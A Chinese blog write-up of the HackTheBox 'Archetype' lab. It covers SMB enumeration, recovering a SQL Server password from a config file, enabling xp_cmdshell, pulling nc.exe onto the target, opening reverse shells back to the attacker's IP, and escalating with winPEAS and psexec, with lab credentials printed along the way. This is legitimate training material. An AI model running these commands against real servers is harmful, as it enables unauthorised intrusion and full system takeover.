0x00 前言
最近在打HackTheBox起点,第0层和第1层都是一些比较基础的靶场,没有什么知识盲区
到了第2层的时候第一台机器就是sql server的靶场,打起来有点卡壳,而且这次学到了不少东西所以在这里就记录一下
0x01 进入正题
刚开始如何连接VPN进入到靶场这里就不说了,直接点击开始,创建一个实例
创建成功
任务1:哪个TCP端口托段数据库服务器?
首先使用Nmap进行扫描
nmap -sV -sC -T4 10.129.151.127
很明显1433端口开放了SQL Server 所以任务一的答案是1433
任务2 :SMB上可用的非管理共享名称是什么?
smbclient -L \\10.129.151.127
密码直接空密码,回车即可
可以看到这里共享了四个目录,非管理共享目录的话就是backups了
所以任务2的答案是backups
任务3:SMB共享文件中标识的密码是什么?
我们进行连接backups目录smbclient \\\\10.129.151.127\\backups
然后使用get这个文件下载下来get prod.dtsConfig
再到本地使用cat查看,里面有个Passwordi字段,那就是这个密码了
所以任务3答案是M3g4c0rp123
任务4:可以使用 impacket 中的哪些脚本来建立到 Microsoft SQL Server 的经过身份验证的连接?
这里考察的我们对impacket框架的了解,在impacket中哪个脚本可以连接SQL Server
Gitub.com搜索impacket第一个就是
使用git拉取> git clone https://github.com/SecureAuthCorp/impacket.git
> cd impacket
> sudo python3 setup.py install
> pip3 install -r requirements.txt
安装好依赖之后就可以使用了
impacket的脚本都在examples里面,看名字就知道mssql开头的就是
我们这里看一下mssqlclient.py脚本的帮助信息,那就是这个脚本了
所以任务4的答案就是mssqlclient.py
任务5:可以使用 Microsoft SQL Server 的哪些扩展存储过程来生成 Windows 命令外壳?
(这里Google浏览器翻译有点问题,大致的意思就是SQL Server可以用哪个拓展来执行Windows shell),SQL Server的xp_cmdshell提权原理这里就不细说了
任务5的答案是xp_cmdshell
任务6:可以使用什么脚本来搜索提升 Windows 主机权限的可能路径?
这里win和Linux都有一个很好的提权脚本叫PEAS,Git下载地址:https://github.com/carlospolop/PEASS-ng/releases/tag/20220710
Linux系统叫linpeas,win系统叫winpeas
所以任务6答案是winpeas
任务7:哪个文件包含管理员的密码?
这里就需要我们通过之前xp_cmdshell拿到这台机器的shell
我们使用impacket框架中的mssqlclient.py脚本进行身份验证
lid为ARCHETYPE/sql_svc
l@后面接IP地址
l密码为M3g4c0rp123
这些信息都是我们从smb中的prod.dtsConfig文件中得到的
连接进mssql之后就使用xp_cmdshell进行拿shellSQL> EXEC xp_cmdshell 'whoami'
可以看到xp_cmdshell没有激活
SQL> SELECT is_srvrolemember('sysadmin');
返回为1就代表着对于的权限,我们这里为sysadmin权限,可以使用xp_cmdshell拿shell
sp_configure的作用是显示或更改当前服务器的全局配置设置,执行成功返回0,失败返回1”SQL> EXECUTE sp_configure 'show advanced options',1;
SQL> RECONFIGURE;//使前面的配置生效
SQL> EXECUTE sp_configure 'xp_cmdshell',1;//开启CMDshell
SQL> RECONFIGURE;//使前面的配置生效
执行完这些语句之后我们就可以执行我们的xp_cmdshellSQL> xp_cmdshell "whoami"
当前用户为一个数据库用户,然后使用nc将会话弹回来,方便后面的提权操作,现在桌面使用python起一个http服务
再利用xp_cmdshell调用powershell将nc下载到目标机器上SQL> xp_cmdshell "powershell.exe wget http://10.10.14.140/nc.exe -O c:\\Users\Public\\nc.exe
看到这边有个get请求之后就是下载成功了,本机使用nc进行监听,目标机器使用nc将cmd反弹到我们机器上SQL> xp_cmdshell "c:\\Users\Public\\nc.exe -e cmd.exe 10.10.14.140 4444"
因为我这里使用的是新版的Netcat,没有-e参数了
这里使用nc串联的方式来弹回shellSQL> xp_cmdshell "c:\\Users\Public\\nc.exe 10.10.14.140 4444 | cmd.exe | c:\\Users\Public\\nc.exe 10.10.14.140 3333"
l在4444端口输入命令,会通过管道符,传输到cmd 解析结果通过管道通过nc传输到3333端口
我们在4444端口输入命令会通过管道符传输到cmd.exe,结果通过nc传输到10.10.14.140 3333端口
我们这里找到一个user.txt,但是任务7是让我们寻找包含管理员的密码,我们使用winPEAS进行提权
https://github.com/carlospolop/PEASS-ng/releases/tag/20220710
在这个里面下载我们对于系统的程序
这里我下载的是winPEAS.bat批处理脚本,因为exe程序的输出东西太多了,Kali终端最上面有一些东西看不到,还是通过上传nc一样的方式进行上传winPEAS.bat(但是这里需要断开nc会话,否则下载不了)
成功下载之后我们再连接上ncSQL> xp_cmdshell "c:\\Users\Public\\nc.exe 10.10.14.140 4444 | cmd.exe | c:\\Users\Public\\nc.exe 10.10.14.140 3333"
cd到我们下载的目录
直接.\winPEAS.bat执行即可,他会自己执行各个功能 我们只需要等待即可
等待片刻之后扫描到一个console history file
我们使用type查看
是一个历史命令,administrator用户登录后将共享文件夹\Archetype\backups映射到T盘,后面是用户名的密码
那么任务7的答案就是ConsoleHost_history.txt文件中包含管理员的密码
任务8:提交user flag
用户标志也就是我们之前在sql_svc桌面找到的user.txt
任务9:提交root flag
我们需要使用administrator登录到机器上查看administrator的桌面,这里使用impacket框架中的psexec.py脚本
python3 psexec.py [email protected]
管理员的密码为MEGACORP_4dm1n!!
成功拿到system权限
直接查看Administrator桌面的root.txt 成功拿到root flag
标签:exe,HTB,cmdshell,nc,impacket,SQL,xp,Archetype,通关 From: https://blog.51cto.com/xunansec/5767941